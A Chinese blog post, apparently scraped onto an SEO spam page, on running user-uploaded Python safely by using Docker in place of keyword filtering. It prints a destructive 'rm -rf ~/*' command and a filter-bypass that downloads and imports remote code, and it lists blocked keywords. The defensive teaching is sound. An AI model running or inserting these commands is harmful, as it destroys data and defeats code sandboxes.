当前位置: 首页 > news >正文

企业网站建设与实现的论文wordpress 主题漏洞

企业网站建设与实现的论文,wordpress 主题漏洞,如何做网站商城,最好网页设计流程写后端的同学#xff0c;有时候需要在网站上实现一个功能#xff0c;让用户上传或者编写自己的Python代码。后端再运行这些代码。 涉及到用户自己上传代码#xff0c;我们第一个想到的问题#xff0c;就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行有时候需要在网站上实现一个功能让用户上传或者编写自己的Python代码。后端再运行这些代码。 涉及到用户自己上传代码我们第一个想到的问题就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行在不做任何安全过滤的情况下就会导致服务器的Home文件夹被清空。 import os os.system(rm -rf ~/*)有人想的比较简单直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗 这种想法乍看起来没有问题但细想下就会发现非常天真。如果用户的代码像下面这样写你又要如何应对 import requestscode  requests.get(https://www.kingname.info/dangerous_code).textwith open(dangerous_code.py, w) as f:f.write(code)dangerous_module  __import__(dangerous_code) danderous_module.delete_all()其中https://www.kingname.info/dangerous_code对应的代码如下 import os def delete_all():os.system(rm -rf ~/*)这样就可以绕过关键字检查并成功删除你的文件了。 如果你的网站本身就是一个爬虫管理平台你检查用户自定义的代码时肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。 而且恶意代码不一定是删除你的东西它完全可以直接把你项目下面的所有代码打包上传到它指定的URL中这样就能窃取你网站里面所有代码。 为了避免这样的情况发生我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷独立的环境能确保他即使删除了所有文件也不会影响到你。 显然最简单直接的办法就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。 首先确保你的服务器上面已经有Docker并且正在运行。接下来安装Docker SDK pip install docker假设你把用户上传的文件放在了user/user_id/upload文件夹下面那么首先你需要生成一个Dockerfile并把这个Dockerfile放到upload文件夹中 from python:3.10run pip install -r requirements.txt copy . /app workdir /app当用户添加/修改了第三方库时你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。 接下来我们开始构建镜像并运行代码 import docker client  docker.from_env()client.images.build(pathuser/user_id/upload, tagxxxspider:0.01) # tag后面的名字可以自定义container  client.containers.run(xxxspider:0.01, detachTrue, commandscrapy crawl xxx, 其他参数)这个代码运行以后是非阻塞的会立刻返回container对象。当你想查看代码日志时执行 container.logs(tail10) # 显示最后10行日志就可以看到相关的日志了。
http://www.dnsts.com.cn/news/142383.html

相关文章:

  • 北京的p2p网站建设seo外包是什么意思
  • 西安网站托管哪家好网站推广软件免费版可tv
  • 用asp做的网站有多少什么是项目管理
  • 校园网的网站建设内容贵州省建设厅的网站
  • 简单企业网站用什么站酷做网站
  • 长沙做网站改版价格两个WordPress文章同步更新
  • 南通营销平台网站建设有什么网站可以做logo赚钱
  • 网络营销策划营销型网站建设漂亮的蓝色网站
  • 电子商务网站开发目的重庆建筑网络平台
  • 备案网站名称有什么用查网课答案的网站怎么做
  • 简单网站建设设计怎么改网站域名
  • 什么软件能把做的网站上传手机号快速注册
  • 网站要怎么做才能让360收录推广平台有哪几个
  • 龙岩网站建设行情营销型外贸网站制作
  • 山东住房和城乡建设厅网站教育中心手机网站制作系统
  • 有哪些网站是免费学做网页的湖北网站推广方案
  • 网站建设哪里去学宁波网站建设设计公司信息
  • 兴义市住房和城乡建设局网签网站wordpress 七牛
  • 传媒的域名做个什么网站上海官网建设制作
  • 网站实名制 怎么做域名和网站
  • 青建设厅官方网站海省wordpress外链转內链
  • 本地网站做不大邯郸房产网站
  • 易天时代网站建设网络营销课程主要讲什么内容
  • 推荐一个做健身餐的网站上海自贸区注册企业优惠政策
  • 做网站用什么语言制作最安全?高新西区网站建设
  • 定制网站和模板网站的区别潍坊知名网站建设价格
  • 企业网站设计的方案网站建设总体规划包括
  • 制作网站代码高唐企业做网站推广
  • 网页设计与网站建设 入门必练怎么增加网站的外链
  • 食品行业网站开发建站公司会有多大的坑